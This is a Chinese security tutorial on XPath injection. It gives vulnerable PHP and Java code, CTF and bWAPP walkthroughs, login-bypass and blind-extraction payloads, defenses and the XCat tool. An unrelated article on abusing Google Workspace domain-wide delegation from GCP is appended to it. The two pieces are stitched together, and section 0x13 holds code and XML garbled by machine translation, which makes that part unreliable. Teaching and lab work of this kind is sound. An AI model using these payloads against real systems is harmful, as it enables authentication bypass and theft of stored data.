文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。延展开来，xpath的注入还有很多花样，像是通过updataxml()函数实现xpth报错注入，还有xpth的盲注 1.xpath实列原理一 主流脚本语言都支持对XPath的处理,下面我以PHP来学习XPath注入的原理. blog.xml： <?xml version="1.0" encoding="UTF-8"?> <root> <users> <user> <id>1</id> <username>admin</username> <password type="md5">0192023a7bbd73250516f069df18b500</password> </user> <user> <id>2</id> <username>jack</username> <password type="md5">1d6c1e168e362bc0092f247399003a88</password> </user> <user> <id>3</id> <username>tony</username> <password type="md5">cc20f43c8c24dbc0b2539489b113277a</password> </user> </users> <secret> <flag>flag{My_f1rst_xp4th_iNjecti0n}</flag> </secret> </root> index.php: <?php $xml = simplexml_load_file('blog.xml'); $name = $_GET['name']; $pwd = md5($_GET['pwd']); $query = "/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']"; echo $query; $result = $xml->xpath($query); if($result) { echo '<h2>Welcome</h2>'; foreach ($result as $key => $value) { echo '<br />ID:'.$value->id; echo '<br />Username:'.$value->username; } } 代码很简单,实现了一个简单的登陆验证功能.其实和SQL注入相似,没有对用户输入的数据做过滤,导致攻击者可以直接注入”XPath表达式”，只要知道用户名就能绕过密码验证, http://127.0.0.1/xpath/index.php?name=admin' or '1'='1&pwd 如果用户名没法得知,可以用两个”or”来绕过验证逻辑 http://127.0.0.1/xpath/index.php?name=fake' or '1'or'1&pwd=fake 提取数据 2.xpath实列原理二 这里用一道赛题来举例： <?php $re = array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep'); setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000); if(file_exists('t3stt3st.xml')) { $xml = simplexml_load_file('t3stt3st.xml'); $user=$_GET['user']; $user=str_replace($re, ' ', $user); //$user=str_replace("'", "&apos", $user); $query="user/username[@name='".$user."']"; $ans = $xml->xpath($query); foreach($ans as $x => $x_value) { echo $x.": " . $x_value; echo "<br />"; } } 　　通过访问/download.php?file=backup.zip下载网页源码，如下： 　　首先看到他过滤了sql注入的一些关键字，setcookie中有一段base64加密的密文，解码后得到的是：“sqli is not the only way for injection”，根据提示sql不是唯一的注入方式，再结合下面对xml的一系列操作，可以确定这道题是用xpath注入，于是根据$query="user/username[@name='".$user."']";这一句可构造如下payload: $query="user/username[@name='']|//*|ss['']"; 　　 这句payload的意思是闭合了“.$user.”前后的单引号同时执行三个操作，其中第二个操作//*即是关键点，列出文档中的所有元素，最后拿到flag 3.xpath 实列原理三 这边有个存放分数的xml文件： score.xml: <?xml version="1.0" encoding="utf-8"?> <root> <class num='1'> <peo name='tom'> <subject> <foo>english</foo> <score>60</score> </subject> <subject> <foo>chinese</foo> <score>70</score> </subject> <password>qwer123</password> </peo> <peo name='helen'> <subject> <foo>english</foo> <score>24</score> </subject> <subject> <foo>chinese</foo> <score>34</score> </subject> <password>woaichishi</password> </peo> <peo name='vk'> <subject> <foo>english</foo> <score>100</score> </subject> <subject> <foo>chinese</foo> <score>100</score> </subject> <password>vk123</password> </peo> </class> </root> 查询分数的php是： score.php: <?php if (file_exists('score.xml')){ $xml = simplexml_load_file('score.xml'); //获取xml文件里面的数据 if (isset($_GET['user'])){ $user = $_GET['user']; //构造语句 $en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score"; $ch_scr = "//peo[@name='{$user}']/subject[contains(foo, 'chinese')]/score"; $en_qu = $xml -> xpath($en_scr); $ch_qu = $xml -> xpath($ch_scr); foreach ($en_qu as $key => $value) { echo $user.':<br>english is '.$value; } foreach ($ch_qu as $key => $value) { echo '<br>'.'chinese is '.$value; } }else{ echo 'only have three user: vk, tom, helen.'; } } ?> 这里，php用simplexml_load_file()这个函数来访问那个存分数的xml文件 然后用xpath语法去查询数据。 会php语言的慢慢看（重要！可加深理解），不会的跳过，先看效果： 他说只有三个用户，那我们来查查helen的分数吧 那vk呢 好了，反过来看看代码，它是怎么实现对xml文件的查询的？ $en_scr = "//peo[@name='{$user}']/subject[contains(foo, 'english')]/score"; $ch_scr = "//peo[@name='{$user}']/subject[contains(foo, 'chinese')]/score"; 图中框这个就相当于Sql中的语句，这就是xpath路径选取xml节点的语句 直接解释查询语句 /peo 匹配到所有peo节点 这节点不止一个，到底要哪个呢？ [@name='{$user}'] 接收到用户名字，来查询相应的节点（就是刚才的helen,vk） /subject 刚才peo节点下的subject节点 这时候问题又来了，subject节点不止一个，哪个呢？ [contains(foo, 'english')] contains函数，第一个参数给出节点名，第二个写字符串 意思就是，匹配出他的foo子节点中，信息含有english的那个 /score 已经找到相应的subject了，然后就是找分数了。Score就是存放分数的节点： 这样就能实现从xml文件中查询相应数据了！ 这节点不止一个，到底要哪个呢？ [@name='{$user}'] 接收到用户名字，来查询相应的节点（就是刚才的helen,vk） /subject 刚才peo节点下的subject节点 这时候问题又来了，subject节点不止一个，哪个呢？ [contains(foo, 'english')] contains函数，第一个参数给出节点名，第二个写字符串 意思就是，匹配出他的foo子节点中，信息含有english的那个 /score 已经找到相应的subject了，然后就是找分数了。Score就是存放分数的节点： 这样就能实现从xml文件中查询相应数据了！ 0x06 XPath盲注的方法 盲注主要利用XPath的一些字符串操作函数和运算符. 以前文的环境为例,如果我们想遍历出整个XML文档,一般步骤如下: 1.判断根下节点数: 127.0.0.1/xpath/index.php?name=1' or count(/*)=1 or '1'='1&pwd=fake result: 1 2.猜解第一级节点: 127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake 127.0.0.1/xpath/index.php?name=1' or substring(name(/*[position()=1]),2,1)='o' or '1'='1&pwd=fake ... result: root 3.判断root的下一级节点数: 127.0.0.1/xpath/index.php?name=1' or count(/root/*)=2 or '1'='1&pwd=fake result: 2 4.猜解root的下一级节点: 127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake 127.0.0.1/xpath/index.php?name=1' or substring(name(/root/*[position()=2]),1,1)='s' or '1'='1&pwd=fake result: users,secret 重复上述步骤,直到猜解出所有节点.最后来猜解节点中的数据或属性值. 猜解id为1的user节点下的username值, 127.0.0.1/xpath/index.php?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake ... result: admin 0x07 XPath攻击的实列一 一般说来，大多数 Web 应用程序使用关系数据库存储和检索信息。 例如，如果您的 Web 站点需要身份验证，那么您可能拥有一个 users 表，其中包含惟一 ID、登录名、密码，也许还有一些其他信息，比如角色。从 users 表中检索用户的 SQL 查询可能类似于清单 1。 （1）清单 1从 users 表中检索用户的 SQL 查询 Select * from users where loginID=’foo’ and password=’bar’ 在这个查询中，用户必须提供 loginID 和 password 作为输入。 如果攻击者在 loginID 字段中输入：’ or 1=1 并在 password 中输入：’ or 1=1 则形成的查询将类似清单 2。 清单 2. 从攻击者输入形成的查询 Select * from users where loginID = ’’ or 1=1 and password=’ ’ or 1=1这个条件会一直匹配，因此攻击者可以进入系统。 XPath 注入的原理大体类似。但是，假设您拥有的不是一个 users 表，而是一个 XML 文件，其中包含了如清单 3 所示的用户信息。 清单 3. user.xml <?xml version="1.0" encoding="UTF-8"?> <users> <user> <firstname>Ben</firstname> <lastname>Elmore</lastname> <loginID>abc</loginID> <password>test123</password> </user> <user> <firstname>Shlomy</firstname> <lastname>Gantz</lastname> <loginID>xyz</loginID> <password>123test</password> </user> <user> <firstname>Jeghis</firstname> <lastname>Katz</lastname> <loginID>mrj</loginID> <password>jk2468</password> </user> <user> <firstname>Darien</firstname> <lastname>Heap</lastname> <loginID>drano</loginID> <password>2mne8s</password> </user> </users> 在 XPath 中，类似于 SQL 查询的语句如清单 4 所示。清单 4. 匹配 SQL 查询的 XPath 语句 //users/user[loginID/text()=’abc’ and password/text()=’test123’]要执行类似的攻击以绕过身份验证， 如果攻击者在 loginID 字段中输入：’ or 1=1 并在 password 中输入：’ or 1=1 您可能会使用类似清单 5 的方法。 清单 5. 绕过身份验证 //users/user[LoginID/text()=’’ or 1=1 and password/text()=’’ or 1=1] 您可能在 Java 应用程序中有一个诸如 doLogin 之类的方法，使用清单 3 中的 XML 文档再次执行身份验证。可能类似于清单 6。 清单 6. XPathInjection.java import java.io.IOException; import org.w3c.dom.*; import org.xml.sax.SAXException; import javax.xml.parsers.*; import javax.xml.xpath.*; public class XpathInjectionExample { public boolean doLogin(String loginID, String password) throws ParserConfigurationException, SAXException,IOException, XPathExpressionException { DocumentBuilderFactory domFactory = DocumentBuilderFactory.newInstance(); domFactory.setNamespaceAware(true); DocumentBuilder builder = domFactory.newDocumentBuilder(); Document doc = builder.parse("users.xml"); XPathFactory factory = XPathFactory.newInstance(); XPath xpath = factory.newXPath(); XPathExpression expr = xpath.compile("//users/user[loginID/text()=’"+loginID+"’ and password/text()=’"+password+"’ ]/firstname/text()"); Object result = expr.evaluate(doc, XPathConstants.NODESET); NodeList nodes = (NodeList) result; //print first names to the console for (int i = 0; i < nodes.getLength(); i++) { System.out.println(nodes.item(i).getNodeValue());} if (nodes.getLength() >= 1) { return true; } else{ return false; } } } 0x08 xpath之bwaspp实列一 我们来看看bwapp上的第一个xpath注入： 这个登录界面访问权限是通过xpath去读取xml文件来实现的。 换句话说，你输入账号密码，他就把xml文件里的合法账号密码拿出来 和你填写的进行比对，如果一致就通过。 如果他对输入没有进行过滤的话 用sql注入的万能钥匙是能通过的！ 通过这个我们了解到，xpath和sql注入还是有点像的，起码or能用。 进阶探索 看一道xpath注入的ctf题目： 在cookie中找到提示信息： 于是我们就想到了xpath注入： 用 user1’ or ‘’=’ 这样爆出所有user查询结果，并不能找到flag 看来只能拿出xpath特有的注入手段了（这也是和sql注入最大的区分） 直接看exp：xmltest.php?user=user1'] | //* | //*[' 好了，这一部分只需要了解xpath注入和sql注入不是一个东西就行。 0x09 XPath之bwaspp实列二 再来看看bwapp的第二个xpath注入 这个web应用是，你给出类型，他查找这个类型的电影，给你呈现出来。 这里我选了action动作片，他告诉我图中结果。 看url就知道，这里是通过get来传参的。简单测试下： 语句：genre=action' and ''='&action=search 没有回显，（正常应该有回显） 看样子是接收参数的位置问题，不是任何位置都可以接受and or （比如在函数里） 那我们试试：genre=action' | //* | ' &action=search 继续：genre=action'] | //* | //*[' &action=search 还是不行，不要灰心，拼字游戏就是如此。 我们来看看一个查询语句： //peo[@name='{$user}']/subject[contains(foo, 'chinese')]/score 这是之前查分数的XPath 这里接收参数的位置是在中括号里面，用来挑选某个节点属性 因此用中括号闭合成功，这里不行 会不会是哪个函数里面接收参数？ 那就是括号！ 把中括号换成圆括号也不行。 就在我郁闷的时候，一拍脑袋，函数一般是放在中括号里，用来增加查询条件的 这有点像where 那么试试：genre=action')] | //* | //*[(' &action=search 0x10 xpath挖掘利用 如果一个网站某应用程序将数据保存在XML中，并且对用户的输入没有做限制，攻击者提交了没有经过处理的输入，就插入到 XPath 查询中，即产生Xpath注入，那么就攻击者就可能通过控制查询，获取数据，或者删除数据之类的操作。 Xpath是xml路径语言，用于配置文件的查找。数据库就是xml文件。因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞。比如一些登录地址页面，搜索页面需要与xml交互的位置。 判断依据：主要根据错误信息页面判断以及查看源码进行分析。 Example：Bwapp 首先这是这个Get方式请求验证，因此对get的参数进行注入测试，发现报错信息，说明是可能通过xml存储于前端交互。 然后构造xpath查询语句//users/user[loginID/text()='' and password/text()=''],因此'or 1=1 or ''='或者' or '1'='1等使其为真可以。 Example:hctf index.html <?php $re = array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep'); setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000); if(file_exists('t3stt3st.xml')) { $xml = simplexml_load_file('t3stt3st.xml'); $user=$_GET['user']; $user=str_replace($re, ' ', $user); // $user=str_replace("'", "&apos", $user); $query="user/username[@name='".$user."']"; $ans = $xml->xpath($query); foreach($ans as $x => $x_value) { echo $x.": " . $x_value; echo "<br />"; } } ?> t3stt3et.xml <?xml version="1.0" encoding="utf-8"?> <root1> <user> <username name='user1'>user1</username> <key>KEY:1</key> <username name='user2'>user2</username> <key>KEY:2</key> <username name='user3'>user3</username> <key>KEY:3</key> <username name='user4'>user4</username> <key>KEY:4</key> <username name='user5'>user5</username> <key>KEY:5</key> <username name='user6'>user6</username> <key>KEY:6</key> <username name='user7'>user7</username> <key>KEY:7</key> <username name='user8'>user8</username> <key>KEY:8</key> <username name='user9'>user9</username> <key>KEY:9</key> </user> <hctfadmin> <username name='hctf1'>hctf</username> <key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key> </hctfadmin> </root1> 通过查看源码$query，然后构造payload: `']|//*|['` 0x11浅谈XPath注入检测思路和方法 XML不是保存企业数据的，但是很多情况下都用来保存应用程序配置数据，小型应用程序也保存简单信息，例如角色权限等等,下面给出一个XML的列子 <addressBooke> <address> <name>Tom</name> <password>abcdefg</password> <age>20</age> <phone>13000000000</phone> </address> <address> <name>Bob</name> <password>abcdefg</password> <age>30</age> <phone>13000000001</phone> </address> <address> <name>Jack</name> <password>abcdefg</password> <age>40</age> <phone>13000000002</phone> </address> 原理类似SQL注入，构建新的查询逻辑来进行攻击,但是要注意，关键词像函数这种的区分大小写 1.构建新的逻辑实现注入 or 1=1 and 1=2 'or 'a'='a 'and 'a'='b 一个字节一个字节的提取出信息: 'or //address[name/text()='Tom' and substring(password/text(),1,1)）] ='a' and 'a'='a 返回正常则判断正确 等同于下面的查询： //address[name/text()='' or //address[name/text()='Tom' and substring(password/text(),1,1)）] ='a' ]and 'a'='a]/phone/text() 通过查询名字的输入 却查询到了了tom的密码首位，尝试攻击每一个字符位置并测试每一个可能的值，获得密码 2.当然了大部分情况下，我们不能够知道任何节点的名称或者说只能知道一部分，可使用盲注XPath 相当于SQL盲注（大家都对语句嫩熟于心，不多提了） 首先提取父节点的名字： 'or substring(name(parent::*[position()=1]),1,1)='a 正常 'or substring(name(parent::*[position()=1]),2,1)='d 正常 ........ 父节点名字为address 是元素节点 提取子节点名字 'or substring(//address[1]/*[2],1,1)='p' or 'a'='a 正常 'or substring(//address[1]/*[2],2,1)='a' or 'a'='a 正常 ........ 二号子节点名称为password 提取子节点的值： 基于原理：//address[1]/*[2]/text() -> tom的password 但是这个不会输出 我们通过布尔型来查询XML所有的内容 'or substring(//address[1]/*[2]/text(),1,1)='a' or'a'='a 正常 'or substring(//address[1]/*[2]/text(),1,1)='b' or'a'='a 正常 ...... 第二个子节点值为abcdefg 测试步骤： 提交这些看能否使得状态改变 （count返回子节点数量） ' or count(parent::*[position()=1])=0 or 'a'='b 状态1 ' or count(aprent::*[position()=1])>0 or 'a'='b 状态改变 数字型参数： 1 or count(parent::*[position()=1])=0 1 or count(parent::*[position()=1])=0 状态改变 确定了存在注入点，用上面的方法注入就可以了！ 0x12 XPath注入攻击特点以及和普通注入的区别 XPath注入攻击利用两种技术，即XPath扫描和 XPath查询布尔化。通过该攻击，攻击者可以控制用来进行XPath查询的XML数据库。这种攻击可以有效地对付使用XPath查询（和XML数据库） 来执行身份验证、查找或者其它操作。XPath注入攻击同SQL注入攻击类似，但和SQL注入攻击相比较，XPath在以下方面具有优势。 （1） 广泛性。XPath注入攻击利用的是XPath语法，由于XPath是一种标准语言，因此只要是利用XPath语法的Web 应用程序如果未对输入的XPath查询做严格的处理都会存在XPath注入漏洞，所以可能在所有的XPath实现中都包含有该弱点，这和SQL注入攻击有 很大区别。在SQL注入攻击过程中根据数据库支持的SQL语言不同，注入攻击的实现可能不同。 （2） 危害性大。XPath语言几乎可以引用XML文档的所有部分，而这样的引用一般没有访问控制限制。但在SQL注入攻击中，一个“用户”的权限可能被限制到 某一特定的表、列或者查询，而XPath注入攻击可以保证得到完整的XML文档，即完整的数据库。只要Web服务应用具有基本的安全漏洞，即可构造针对 XPath应用的自动攻击。 0x13 经典xpath源码 index.php： <？php $ re = array（'and'，'or'，'count'，'select'，'from'，'union'，'group'，'by'，'limit'，'insert'，'where ”， '顺序'， 'ALTER'， '删除'， '具有'， '最大值'， '分'， '平均'， '总和'， 'SQRT'， '兰特'， '的concat'， '睡觉'） ; setCookie方法（ '注射'， 'c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24 ='，时间（）+ 100000）; if（file_exists（'t3stt3st.xml'））{ $ xml = simplexml_load_file（'t3stt3st.xml'）; $用户= $ _ GET [ '用户']; $ user = str_replace（$ re，''，$ user）; // $ user = str_replace（“'”，“'，$ user）; $查询=” ？> t3stt3st.xml: <？xml version =“1.0”encoding =“utf-8”？> <root1> <user> <username name ='user1'> user1 </ username> <key> KEY：1 </ key> <username name = 'user2'> user2 </ username> <key> KEY：2 </ key> <username name ='user3'> user3 </ username> <key> KEY：3 </ key> <username name ='user4'> user4 </ username> <key> KEY：4 </ key> <username name ='user5'> user5 </ username> <key> KEY：5 </ key> <username name ='user6'> user6 </ username > <key>KEY：6 </ key> <username name ='user7'> user7 </ username> <key> KEY：7 </ key> <username name ='user8'> user8 </ username> <key> KEY：8 </ key> <username name ='user9'> user9 </ username> <key> KEY：9 </ key> </ user> <hctfadmin> <username name ='hctf1'> hctf < / username> <key> flag：hctf {Dd0g_fac3_t0_k3yboard233} </ key> </ hctfadmin> </ root1> //index.php <?php $re = array('and','or','count','select','from','union','group','by','limit','insert','where','order','alter','delete','having','max','min','avg','sum','sqrt','rand','concat','sleep'); setcookie('injection','c3FsaSBpcyBub3QgdGhlIG9ubHkgd2F5IGZvciBpbmplY3Rpb24=',time()+100000); if(file_exists('t3stt3st.xml')) { $xml = simplexml_load_file('t3stt3st.xml'); $user=$_GET['user']; $user=str_replace($re, ' ', $user); // $user=str_replace("'", "&apos", $user); $query="user/username[@name='".$user."']"; $ans = $xml->xpath($query); foreach($ans as $x => $x_value) { echo $x.": " . $x_value; echo "<br />"; } } ?> //t3stt3st.xml <?xml version="1.0" encoding="utf-8"?> <root1> <user> <username name='user1'>user1</username> <key>KEY:1</key> <username name='user2'>user2</username> <key>KEY:2</key> <username name='user3'>user3</username> <key>KEY:3</key> <username name='user4'>user4</username> <key>KEY:4</key> <username name='user5'>user5</username> <key>KEY:5</key> <username name='user6'>user6</username> <key>KEY:6</key> <username name='user7'>user7</username> <key>KEY:7</key> <username name='user8'>user8</username> <key>KEY:8</key> <username name='user9'>user9</username> <key>KEY:9</key> </user> <hctfadmin> <username name='hctf1'>hctf</username> <key>flag:hctf{Dd0g_fac3_t0_k3yboard233}</key> </hctfadmin> </root1> 从index.php源码可知XPath查询语句为$query="user/username[@name='".$user."']"， 且$user经过关键字替换。但是黑名单$re中都为SQL关键字，所以并不影响对XPath进行注入。我们可以构造payload如 ']|//*|zzz['来进行注入，获取文档中的所有元素节点。 0x14 xpath危害 1.在URL及表单中提交恶意XPath代码，可获取到权限限制数据的访问权，并可修改这些数据； 2.可通过此类漏洞查询获取到系统内部完整的XML文档内容。 3.逻辑以及认证被绕过，它不像数据库那样有各种权限，xml没有各种权限的概念,正因为没有权限概念，因此利用xpath构造查询的时候整个数据库都会被用户读取。 4.xpath的具体危害： 下面我将从这两个方面来分别演示这两种危害。 （1）绕过验证 首先这里有一个登录身份验证的程序，所有的身份数据都存储在一个名为 UsersDataBase.xml 的文件里。 通过 XPath 查询 xml 文件，将用户提交的用户名和密码与 xml 文件中的用户名密码做比对来验证身份。 UsersDataBase.xml 的结构如下： 一般情况下，输入错误的用户名或密码会导致身份认证失败： 然而在后台的身份认证程序中有这样一句 XPath 查询语句 $xpath = "//users/user[username/text()='".$_POST["username"]."' and password/text()='".$_POST["password"]."']"; 可以看到在 XPath 查询语句中并未对用户的输入做任何处理，这就直接导致一个注入点 我们可以构造如下的 payload: Username: ' or '1' = '1 Password: ' or '1' = '1 那么整个 XPath 查询语句就变成了这个样子 $xpath = "//users/user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']"; 整个查询语句恒成立，就直接导致了身份认证被绕过。 2.信息泄露 大多数情况下，当服务器返回数据时，都会对这些数据做一些处理。比如如果服务器返回一些错误信息，那么最终会被过滤掉，不会出现在用户的页面里。将尽可能少的信息暴露给用户，将可以提高安全性。但是即使错误信息被过滤掉，我们依然可以从服务器给出的不同返回结果推测出服务器做出了何种响应。作为攻击者可以提交一段包含 XPath 函数的 Payload，通过服务器给出的不同响应，判断得到我们想知道的信息。这就是 XPath 盲注。 下面这是一个通过用户名的ID来得到用户名的程序。当然具体场景也可能是通过名字来查询身份证号码等等，这里只做演示。 正常情况下，输入用户的 ID，就会得到相应的用户名。当查询语句恒成立时（如构造 Payload 为' or '1' = '1 时），就会返回第一个节点的用户名 “Alice”（这是程序本身的 bug ）。而当查询语句错误或该 ID 在 xml 数据库中不存在时，就什么都不返回。 利用这点，我们就可以构造如下 Payload，比如：来查询整个 xml 文档的根节点的第一个字母是否为“u” ' or substring(name(parent::*[position()=1]),1,1)='u 返回结果为 “Alice”，就说明整个 xml 文档的根节点的第一个字母是 “u”，反之如果什么都没有返回，则说明根节点的第一个字母不是 “u”。以此类推，我们就可以历遍整个 xml 文档了。这也是 xml和其他数据库相比最大的威胁所在了，因为它没有访问控制和身份验证。 0x15 xpath防御 1. 数据提交到服务器上端，在服务端正式处理这批数据之前，对提交数据的合法性进行验证。 2. 检查提交的数据是否包含特殊字符，对特殊字符进行编码转换或替换、删除敏感字符或字符串，如过滤[] ‘ “ and or 等全部过滤，像单双引号这类，可以对这类特殊字符进行编码转换或替换 3. 对于系统出现的错误信息，以IE错误编码信息替换，屏蔽系统本身的出错信息或者用统一的报错页面代替（如updataxml()这类） 参数化XPath查询，将需要构建的XPath查询表达式，以变量的形式表示，变量不是可以执行的脚本。。如下代码可以通过创建保存查询的外部文件使查询参数化： declare variable $loginID as xs：string external； declare variable $password as xs：string external； //users/user[@loginID=$loginID and@password= $password] 4. 通过MD5、SSL等加密算法，对于数据敏感信息和在数据传输过程中加密，即使某些非法用户通过非法手法获取数据包，看到的也是加密后的信息。 总结下就是：限制提交非法字符，对输入内容严格检查过滤，参数化XPath查询的变量。 5. 验证是否包含特定的 XPath 函数，可以过滤掉一些 XPath 函数，以提高安全性，当然了不能以牺牲用户体验或影响用户正常使用为前提。 总结下就是：限制提交非法字符，对输入内容严格检查过滤，参数化XPath查询的变量 0x16 xpath工具 1.Firebug 2.XCat XCat是一个用来利用XPath盲注的命令行程序。它可以用来检索正在被易受攻击的XPath查询处理的整个XML文档，读取主机文件系统上的任意文件，并利用无限制的HTTP请求使服务器直接向xcat发送数据(OOB带外通信) Xcat是python的命令行程序利用Xpath的注入漏洞在Web应用中检索XML文档,下载地址：https://github.com/orf/xcat 使用说明：http://xcat.readthedocs.io/en/latest/#about-xcat python3.4.1环境: pip install xcat 常用命令读取xml文件： xcat.py --method=GET --public-ip="192.168.91.139" http://192 .168.91.139/xml/example2.php name=hacker name "Hello hacker" run retrieve <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;"> 来自为知笔记(Wiz)

Google Suite是Google在订阅基础上提供的一套云计算生产力和协作软件工具和软件，它包含Google广受欢迎的网上应用，包括Gmail、Google云端硬盘、Google环聊、Google日历和Google文档，现已更名为Google Workspace。研究人员用一种意想不到的方式访问了来自Google Cloud Platform (GCP)的Google Workspace域数据。 研究人员发现，具有必要权限的GCP标识可以为委托用户生成访问令牌，拥有被盗凭证的恶意内部人员或外部攻击者可以使用此访问令牌冒充Google Workspace用户，授予对其数据的未经委托访问或以其名义执行操作。 随着组织越来越依赖基于云的服务，如Google Workspace和Google Cloud Platform GCP，深入研究其安全功能和漏洞的复杂性变得至关重要。 全域委托滥用概述 模拟 下图所示的可能的攻击路径可能是恶意的内部人员利用他们的访问权限，例如，在GCP项目中具有编辑器权限的开发人员。他们可以通过滥用在GoogleWorkspace中被授予全域委托权限的服务帐户来做到这一点，内部人员有权在同一个GCP项目中为服务帐户生成访问令牌。 第二个攻击场景 启用了全域委托权限后，恶意的内部人员可以冒充Google Workspace域中的用户，并使用访问令牌对API请求进行身份验证。通过利用适当的作用域和API访问，内部人员可以访问和检索敏感的Google Workspace数据，这可能会危及存储在域内的电子邮件、文档和其他机密信息。这些攻击突出了全域委托功能的威胁。 如果攻击者获得了附加到计算引擎实例的GCP服务帐户令牌，则会出现最坏的情况。例如，计算引擎默认服务帐户，默认具有编辑器权限，攻击者可以利用全域内的委托功能来产生更大的影响。如果在同一个项目中，存在一个具有全域委托的服务帐户，这可能导致攻击者模仿被委托的服务帐户，并从GCP横向移动，以获得对Google Workspace环境的访问权。 Google Workspace 在研究人员深入研究Google Workspace和GCP中最近出现的复杂安全风险之前，有必要了解这些强大的基于云的服务。 Google Workspace应用程序是基于云的协作工具的集合。组织使用Google Workspace通过各种工具来提高他们的工作效率和沟通，例如： 电子邮件； 日历； 文件存储和共享； 团队沟通； 工作流自动化； 安全； 政府； Google Workspace提供基于角色的访问控制(RBAC)功能，并允许管理员为用户分配特定的角色，根据用户的职责和需求授予他们预定义的权限集。这些角色包括： 超级管理员； 组织管理； 一般用户管理； 每个角色对组织的Google Workspace环境的不同方面具有特定的权限和控制。Google Workspace超级管理员拥有更高的权限和更广泛的域管理职责，包括向服务帐户授予全域委托权限。 Google Workspace管理员还可以定义特定于应用程序的权限，并限制共享和可见性设置。例如，管理员可以实施防止用户公开共享文件的策略，并限制共享选项，以确保文件保持在委托范围内。 GCP和Google Workspace之间链接的一个常见用例是，托管在GCP上的应用程序需要与Google Workspace服务之一进行交互。这些服务包括： Gmail Calendar Drive Docs 这种集成允许应用程序访问和操作特定于用户的数据，代表用户执行操作，或者利用Google Workspace的协作和运行功能。 创建与Google服务交互、访问Google API、处理用户数据或代表用户执行操作的应用程序需要一个委托的GCP服务帐户。 什么是服务帐户？ 服务帐户是GCP中的一种特殊类型的帐户，它表示非人类实体，如应用程序或虚拟机，它允许他们进行身份验证并与Google API进行交互。服务帐户与应用程序本身相关联，而不是与单个最终用户相关联。 与用户帐户不同，服务帐户不是Google Workspace域的成员。它们不受Google Workspace管理员设置的域策略的约束，只有在被授予全域委托的情况下才能访问用户的数据。 什么是全域委托？ 全域委托是Google Workspace中的一个功能，它允许GCP服务帐户访问Google Workspace用户的数据，并代表他们在特定域中进行操作。 当使用全域委托功能时，应用程序可以代表Google Workspace域中的用户进行操作，而不需要单个用户对应用程序进行身份验证和委托。 只有Google Workspace超级管理员才能委托应用程序(作为服务帐户)代表域中的用户访问数据。这种委托称为“将全域内的权限委托给服务帐户”。 全域内的委托是如何工作的？ 要使用全域委托功能，需要执行以下步骤： 1.启用全域委托：Google Workspace超级管理员为服务帐户授予全域委托，以及允许该访问的一组OAuth范围。这些范围详细说明了服务帐户可以访问哪些特定服务和特定操作。 例如，如果只是/auth/gmail.readonly被授予，服务帐户将有权读取用户的Gmail邮件，当代表该用户时，但不能读取他们的其他工作区数据，如访问驱动器中的文件。 2.请求Google Workspace访问令牌：应用程序使用适当的凭据向Google Workspace令牌终端发送请求。这包括服务帐户的客户端ID和客户端秘密，以及访问用户数据所需的范围。如果请求是有效的，并且服务帐户已被授予必要的全域委托特权，则令牌终端使用访问令牌进行响应。应用程序可以使用此访问令牌在请求的范围内跨域访问用户数据。 3.API访问：应用程序在API请求中包含访问令牌作为委托标头，它代表服务帐户作为身份验证和委托的证明。 全域委托流 当被授予全域委托时，Google Workspace中的服务帐户可以访问用户数据，代表用户进行操作，并验证对Google API的请求。具体的功能和可访问的数据取决于所定义的范围。 了解全域委托功能的风险和影响 一旦将全域委托授予GCP服务帐户，具有必要权限的GCP标识就可以为同一项目中的委托服务帐户生成访问令牌。然后，恶意的内部人员可以使用此访问令牌冒充Google Workspace用户，授予对用户数据的未经委托的访问权限或代表用户执行操作。 这种情况造成了全域委托权限的敏感性与GCP平台上管理的权限模型之间的不匹配。 Google文档包含一个关于全域委托功能的警告通知，其中概述了该功能的重要功能。Google提到，“只有超级管理员才能管理全域内的委托，并且他们必须指定应用程序可以访问的每个API范围。” 谷歌曾建议不要对服务帐户使用自动角色授予，这会阻止创建默认的谷歌计算引擎服务帐户。为了帮助缓解过多的权限，Google有关于GCP角色推荐的手册。 利用两端审计日志识别可能存在的滥用攻击 如果不分析来自两个平台、GCP和Google Workspace的审计日志，就不可能了解活动全貌，并确定全域内委托功能的任何潜在滥用。服务帐户密钥日志的生成将出现在GCP日志中，而Google密钥生成和API调用执行日志将出现在Google Workspace日志中。 在下图中，有一个来自Cortex web界面的XQL查询，它在GCP审计日志中搜索服务帐户密钥创建。 搜索服务帐户密钥创建 Prisma Cloud RQL语法中的等效查询 下图显示了一个搜索服务帐户委托日志的XQL查询。 搜索Google Workspace访问令牌请求 Prisma Cloud RQL语法中的等效查询 下图显示了研究人员检查了谁给了这个服务帐户全域委托权限，以及什么时候发生了这种情况。 搜索指示已向服务帐户授予全域委托权限的日志 Prisma Cloud RQL语法中的等效查询 下图显示了在Cortex web界面中触发的警报，上面显示Google Workspace管理员已启用对GCP服务帐户的全域委托，并授予他访问敏感范围的权限。 Cortex web界面中的全域委托警报 缓解措施 研究人员已经确定的安全风险在于恶意内部人员滥用全域委托功能所需的初始权限与潜在影响之间的不匹配。 具有域委托权限的服务帐户的最佳安全实践是将它们放置在GCP层次结构中的高级文件夹中。在GCP层次模型中，访问控制是分层的。 在较高级别设置的权限和策略(例如，组织或文件夹)不会自动授予对较低级别文件夹或项目的访问权限。访问控制在层次结构中不向下继承，这意味着较低级别的文件夹或项目不能自动访问较高级别的文件夹或项目。 GCP资源层次树 